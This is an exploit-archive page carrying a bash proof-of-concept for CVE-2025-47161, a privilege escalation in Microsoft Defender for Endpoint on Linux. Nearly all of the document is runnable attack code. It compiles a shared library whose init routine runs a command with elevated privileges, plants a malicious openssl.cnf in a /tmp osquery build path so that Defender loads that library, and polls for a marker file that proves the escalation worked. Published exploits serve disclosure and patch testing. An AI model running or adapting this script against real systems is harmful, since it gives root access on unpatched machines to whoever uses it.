Exploit for 📄 Microsoft Defender for Endpoint Privilege Escalation

## https://sploitus.com/exploit?id=PACKETSTORM:206212
#!/bin/bash
    # Exploit Title: Microsoft Defender for Endpoint (MDE) - Elevation of Privilege
    # Date: 2025-05-27
    # Exploit Author: Rich Mirch
    # Vendor Homepage: https://learn.microsoft.com/en-us/defender-endpoint/
    # Software Link:
    https://learn.microsoft.com/en-us/defender-endpoint/microsoft-defender-endpoint-linux
    # Versions:
    # Vulnerable March-2025 Build: 101.25012.0000 30.125012.0000.0
    # Vulnerable Feb-2025 Build: 101.24122.0008  20.124112.0008.0
    # Vulnerable Feb-2025 Build: 101.24112.0003  30.124112.0003.0
    # Vulnerable Jan-2025 Build: 101.24112.0001   30.124112.0001.0
    # Vulnerable Jan-2025 Build: 101.24102.0000  30.124102.0000.0
    #
    # Vendor Advisory:
    https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-47161
    # Blog: http://stratascale.com/vulnerability-alert-cve202547161
    # Tested on: Ubuntu 24.04.1 LTS and 24.04.2 LTS
    # CVE : CVE-2025-47161
    #
    echo "MDE Version: $(mdatp version)"
    
    # stage
    cat >mde-exp.c<<EOF
    /*
    * Build procedure:
    * gcc -fPIC -o woot.o -Wall -c woot.c
    * gcc -Wall -shared -Wl,-soname,woot.so -Wl,-init,woot -o /tmp/woot.so woot.o
    */
    #include <stdlib.h>
    #include <stdio.h>
    #include <unistd.h>
    #include <sys/stat.h>
    
    void woot(){
        // for manual testing
        if(isatty(STDERR_FILENO)) {
            fprintf(stderr,"Woot!\n");
        }
        system("ps -ef > /woot.txt");
        sleep(3000000);
    }
    
    EOF
    
    # build exploit
    gcc -fPIC -o woot.o -Wall -c mde-exp.c
    gcc -Wall -shared -Wl,-soname,woot.so -Wl,-init,woot -o /tmp/woot.so woot.o
    
    mkdir -p /tmp/build/osquery/build/installed_formulas/openssl/etc/openssl/
    
    cat > /tmp/build/osquery/build/installed_formulas/openssl/etc/openssl/openssl.cnf
    <<EOF
    # Malicious openssl.cnf
    openssl_conf = openssl_init
    [openssl_init]
    engines = engine_section
    
    [engine_section]
    woot = woot_section
    
    [woot_section]
    engine_id = woot
    dynamic_path = /tmp/woot.so
    init = 0
    EOF
    
    echo "Checking every 15 seconds for /woot.txt"
    while true
    do
        if [[ -f /woot.txt ]]
        then
            echo "WOOT - /woot.txt exists"
        ls -ld /woot.txt
        exit
        fi
        sleep 15
    done